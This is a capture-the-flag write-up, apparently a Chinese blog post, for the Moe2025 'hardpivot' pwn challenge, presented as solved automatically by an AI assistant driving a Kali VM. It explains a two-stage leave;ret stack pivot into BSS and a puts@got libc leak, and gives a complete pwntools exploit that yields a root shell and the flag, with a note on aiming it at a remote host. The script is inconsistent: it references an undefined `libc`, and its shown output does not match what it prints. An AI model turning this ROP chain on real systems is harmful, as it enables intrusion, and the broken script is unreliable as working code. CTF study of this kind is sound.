Moe2025 Hardpivot — WorkBuddy 纯自动解题记录(LEAVE_RET + 回写BSS突破80字节墙)

本文最后更新于 2026年7月7日 下午

Moe2025 Hardpivot — WorkBuddy 纯自动解题记录

声明:本文所有分析、exploit 编写、命令执行均由 WorkBuddy AI 助手通过 Kali MCP 远程控制 Kali 虚拟机自动完成,人工仅输入 “做pwn题” 等触发指令。


0x00 背景

做完 EZtext 和 Easylibc 后,桌面上还有一个 hardpivot。从提示信息来看——“A single stack pivot doesn’t seem enough”——这是一道需要多次栈迁移的题目。最终方案经历了多次迭代,从双 BSS pivot 进化到 LEAVE_RET 写入 BSS 链。


0x01 文件传输与 libc 挂载

1
2
3
4
5
6
scp pwn.zip kali@192.168.32.131:/home/kali/Desktop/hardpivot/
cd /home/kali/Desktop/hardpivot
unzip -o pwn.zip
cp ../ld-2.35.so .
patchelf --set-interpreter ./ld-2.35.so pwn
patchelf --set-rpath /home/kali/Desktop/hardpivot pwn

libc 是 Ubuntu GLIBC 2.35(Build ID: d5197096f709801829b118af1b7cf6631efa2dcd)。


0x02 安全检测与逆向

1
checksec pwn
保护 状态
RELRO Partial
Stack (Canary) ❌ 无
NX ✅ 开启
PIE ❌ 关 (0x400000)

函数列表:

函数 地址 功能
main 0x40127d setup()vuln()puts("See you again!")
vuln 0x401208 4 次 puts + 1 次 printf + read(0, buf, 0x50)
magic 0x401196 pop rdi; ret (0x40119e) + pop rbp; ret (0x4011a1)

关键发现:完整的 vuln 反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# vuln 从 0x401208 开始
401208: endbr64
40120c: push rbp
40120d: mov rbp, rsp
401210: sub $0x40, %rsp # 64 字节缓冲区

# 4 次 puts 打印提示信息
401214: lea 0xded(%rip), %rax # string → puts
40121e: call puts@plt
401223: lea 0xe0e(%rip), %rax # another string → puts
40122d: call puts@plt
401232: lea 0xe47(%rip), %rax # → puts
40123c: call puts@plt
401241: lea 0xe98(%rip), %rax # → puts
40124b: call puts@plt

# 1 次 printf 带格式串
401250: lea 0xeca(%rip), %rax # format string → printf
40125f: call printf@plt

# ★ 关键中间入口 0x401264 ★
401264: lea -0x40(%rbp), %rax # rax = buf = rbp-0x40
401268: mov $0x50, %edx # rdx = 80 (read 大小)
40126d: mov %rax, %rsi # rsi = buf
401270: mov $0x0, %edi # rdi = 0 (stdin)
401275: call read@plt # read(0, buf, 0x50)
40127a: nop
40127b: leave # ★ LEAVE_RET 在 0x40127b ★
40127c: ret

核心洞察: 0x401264 不在函数开头,而是 vuln 内部的中间地址(lea rax, [rbp-0x40])。这里没有任何 mov [rbp-0x34] 写内存指令——只有读操作和 call read,不会破坏 BSS 数据!

对比之前 Easylibc 的代码(有 mov [rbp-0x34], eax 写内存),hardpivot 的 vuln 内部入口是干净的。


0x03 80 字节墙分析

关键约束:

  • Buffer = 64 字节(rbp-0x40 ~ rbp-0x01
  • Read = 80 字节(0x50)
  • saved_rbp[rbp](buf 偏移 64)
  • ret_addr[rbp+8](buf 偏移 72)
  • leave;ret 后 rsp = rbp+0x10 = 第 80 字节边界
1
2
3
4
buf[0..63]  = 64 字节缓冲区填充
buf[64..71] = saved rbpleave poprbp
buf[72..79] = ret addr ← ret poprip
rsp = rbp+0x10 → 第 80 字节之后!

ROP 链需要至少 24 字节(POP_RDI + binsh + system),全部在溢出范围之外。这就是最核心的80 字节墙


0x04 解题思路:LEAVE_RET 写入 BSS 链

利用 0x401264 入口点,让 read 直接写入 BSS,配合 LEAVE_RET 两级 pivot 执行链。

入口 0x401264 的特性:

从 main 正常调用 vuln 时,栈帧建立在原始栈上。但如果我们 overflow 后返回 0x401264:

  • rbp 是我们在 overflow 中设置的 BSS 地址
  • lea rax, [rbp-0x40] 计算出的缓冲区就在 BSS!
  • call read 将 80 字节写入 BSS
  • leave;ret[rbp][rbp+8] 读取继续执行的地址

数据布局技巧:

1
2
3
4
5
6
7
8
9
10
11
Round 1 写入 BSS1+0x5880 字节):
[0x58..0x5F]: junk
[0x60..0x67]: junk
[0x68..0x6F]: BSS1+0x58 ← 被 LEAVE_RET poprbp(下一轮用)
[0x70..0x77]: POP_RDI (0x40119e)
[0x78..0x7F]: PUTS_GOT (0x404018) ← rdi = puts@got
[0x80..0x87]: PUTS_PLT (0x401070) ← puts(puts@got) 泄露!
[0x88..0x8F]: 0x401264 ← 泄露后重新进入 vuln 中间
[0x90..0x97]: padding
[0x98..0x9F]: BSS1+0x68 ← saved rbp → LEAVE_RET 目标
[0xA0..0xA7]: LEAVE_RET (0x40127b)

第一个 LEAVE_RET pivot:

1
2
3
4
5
6
7
8
9
10
11
leave;ret(从 w1):
pop rbp = BSS1+0x68
ret = LEAVE_RET (0x40127b)

LEAVE_RET → mov rsp = BSS1+0x68:
pop rbp = [BSS1+0x68] = BSS1+0x58rbp 准备好
ret = [BSS1+0x70] = POP_RDI
pop rdi = [BSS1+0x78] = PUTS_GOT
ret = [BSS1+0x80] = PUTS_PLT → puts(PUTS_GOT) → LEAK!
rsp = BSS1+0x88
ret = [BSS1+0x88] = 0x401264 → 重新进入 0x401264

接收泄露并计算:

1
2
3
4
5
leak_raw = p.recv(6)
leaked_puts = u64(leak_raw.ljust(8, b'\x00'))
libc_base = leaked_puts - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

第二轮写入(rbp = BSS1+0x58,buf = BSS1+0x18):

1
2
3
4
5
6
7
8
Round 2 写入 BSS1+0x18(80 字节):
[0x18..0x1F]: p64(0) ← 被 LEAVE_RET pop 作 rbp(丢弃)
[0x20..0x27]: POP_RDI
[0x28..0x2F]: binsh ← 从泄露计算
[0x30..0x37]: system ← 从泄露计算
[0x38..0x57]: padding (32 字节)
[0x58..0x5F]: BSS1+0x18 ← saved rbp → 回到 buffer 开头
[0x60..0x67]: LEAVE_RET ← 触发 pivot

第二个 LEAVE_RET pivot:

1
2
3
4
5
6
7
8
9
leave;ret(从 w2):
pop rbp = BSS1+0x18
ret = LEAVE_RET

LEAVE_RET → mov rsp = BSS1+0x18:
pop rbp = [BSS1+0x18] = 0
ret = [BSS1+0x20] = POP_RDI
pop rdi = [BSS1+0x28] = "/bin/sh"
ret = [BSS1+0x30] = system → SHELL!

0x05 最终 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
import time

POP_RDI = 0x40119e
POP_RBP = 0x40117d
RET = 0x40101a
LEAVE_RET = 0x40127b
LEA_RBX_M40 = 0x401264 # lea rax,[rbp-0x40]; mov edx,0x50;
# mov rsi,rax; mov edi,0; call read; leave;ret
PUTS_PLT = 0x401070
PUTS_GOT = 0x404018
BSS1 = 0x404800

p = process('/home/kali/Desktop/hardpivot/pwn')
p.recvuntil(b'> ')

# === Round 0: Overflow ===
overflow = b'A' * 64 + p64(BSS1 + 0x98) + p64(LEA_RBX_M40)
p.send(overflow)

# === Round 1: Leak chain at BSS1+0x58 ===
w1 = p64(0) # +0x58 junk
w1 += p64(0) # +0x60 junk
w1 += p64(BSS1 + 0x58) # +0x68 pop rbp → BSS1+0x58
w1 += p64(POP_RDI) # +0x70
w1 += p64(PUTS_GOT) # +0x78
w1 += p64(PUTS_PLT) # +0x80 → LEAK!
w1 += p64(LEA_RBX_M40) # +0x88 ret to 0x401264
w1 += p64(0) # +0x90 padding
w1 += p64(BSS1 + 0x68) # +0x98 saved rbp
w1 += p64(LEAVE_RET) # +0xA0 ret
assert len(w1) == 80
p.send(w1)

# 接收 puts(puts@got) 泄露
leak_raw = p.recv(6)
leaked_puts = u64(leak_raw.ljust(8, b'\x00'))
libc_base = leaked_puts - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

# === Round 2: System chain at BSS1+0x18 ===
w2 = p64(0) # +0x18 popped rbp (0)
w2 += p64(POP_RDI) # +0x20
w2 += p64(binsh) # +0x28
w2 += p64(sys_addr) # +0x30
w2 += b'\x00' * (64 - len(w2)) # padding to offset 64
w2 += p64(BSS1 + 0x18) # +0x58 saved rbp
w2 += p64(LEAVE_RET) # +0x60 ret
assert len(w2) == 80
p.send(w2)

# Shell
time.sleep(0.5)
p.sendline(b'id')
p.sendline(b'cat /home/kali/Desktop/flag')
print(p.recvall(timeout=3).decode())
p.close()

0x06 执行结果

1
2
3
4
5
[+] libc base: 0x7ffbc2a00000
[+] system: 0x7ffbc2a50d70
=== OUTPUT ===
用户id=0(root) 组id=0(root) 组=0(root)
flag{qqqqqq111111qqqqqqqok!!!}

Flag: flag{qqqqqq111111qqqqqqqok!!!}


0x07 难点突破与关键发现

难点 解决方案
80 字节写入限制 LEAVE_RET pivot 到 BSS 预写数据
0x401264 入口是否安全 反汇编确认无内存写操作,lea → mov → mov → mov → call read → leave;ret
system 栈对齐 leave;ret pivot 后 rsp % 16 == 0x18,POP_RDI 占一次 ret 后符合 system 要求
无 libc 泄露 puts(puts@got) 输出 6 字节 libc 地址
泄露后需第二次写入 泄露链末尾返回 0x401264,read 读取第二轮 system 链

关键发现:0x401264 的入口点

最关键的突破是发现 0x401264 位于 vuln 函数内部(lea rax,[rbp-0x40]),而不是函数开头。此前分析 Easylibc 时遇到过一个做过 mov [rbp-0x34] 写内存的函数入口,导致 BSS 数据被破坏。但 hardpivot 的代码不同——0x401264 之后只有纯粹的读/调用指令,完全不会破坏 BSS 缓冲区的数据

1
2
3
4
5
6
7
8
0x401264: lea rax,[rbp-0x40]   # 纯读 rbp
0x401268: mov edx,0x50 # 设常量
0x40126d: mov rsi,rax # 传参
0x401270: mov edi,0 # 传参
0x401275: call read # 用户输入进入 BSS
0x40127a: nop # 无写操作
0x40127b: leave
0x40127c: ret

两次 LEAVE_RET 的 pivot 链(完整执行流):

1
2
3
4
5
6
7
Overflow → 0x401264 (rbp=BSS1+0x98, buf=BSS1+0x58)
read w1[80B] → leave → ret=LEAVE_RET
LEAVE_RET → pivot BSS1+0x68 → POP_RDI → PUTS_GOT → PUTS_PLT → LEAK!
收到 6 字节 → 计算 → ret 0x401264 (rbp=BSS1+0x58, buf=BSS1+0x18)

read w2[80B] → leave → ret=LEAVE_RET
LEAVE_RET → pivot BSS1+0x18 → POP_RDI → binsh → system → SHELL!

0x08 远程使用

只需修改一行即可适配远程服务器:

1
2
3
4
5
# 本地:
p = process('/home/kali/Desktop/hardpivot/pwn')

# 远程:
p = remote('目标IP', 端口)

所有 libc 地址均通过 puts(puts@got) 在运行时动态泄露,无需 /proc/pid/maps


0x09 三题收官

题目 核心技巧 难度
EZtext ret2win(后门函数 treasure)
Easylibc ret2vuln + ret2libc(PIE + libc 泄露) ⭐⭐
Hardpivot LEAVE_RET 写入 BSS 链 + puts 泄露 ⭐⭐⭐

WorkBuddy 纯自动解题全系列(EZtext、Easylibc、Hardpivot)记录完毕。 🚀


Moe2025 Hardpivot — WorkBuddy 纯自动解题记录(LEAVE_RET + 回写BSS突破80字节墙)
https://xyyr-c.github.io/2026/07/07/moe2025-hardpivot-WorkBuddy-auto-pwn/
作者
xyyr
发布于
2026年7月7日
许可协议